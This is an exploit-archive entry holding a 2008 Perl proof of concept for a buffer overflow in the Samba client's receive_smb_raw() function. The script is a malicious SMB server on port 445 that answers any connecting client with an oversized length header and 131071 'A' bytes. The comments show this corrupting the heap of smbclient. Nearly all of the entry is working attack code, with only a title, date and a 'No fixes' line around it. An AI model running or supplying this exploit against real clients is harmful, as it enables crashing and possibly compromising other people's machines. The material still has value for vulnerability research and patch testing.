Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC

2008-06-01 00:00:00

#!/usr/bin/perl
# 06/01/2008 - k`sOSe
#
# ~ # smbclient //localhost/w00t
# *** glibc detected *** smbclient: free(): invalid next size (fast): 0x0823c2d8 ***
#

use warnings;
use strict;
use IO::Socket;


my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '445', Listen => 1, Reuse => 1) || die($!);

while(my $csock = $sock->accept())
{
print $csock "\x00" .
"\x01\xff\xff" .
"\x41" x 131071;

}

#

Fixes

No fixes

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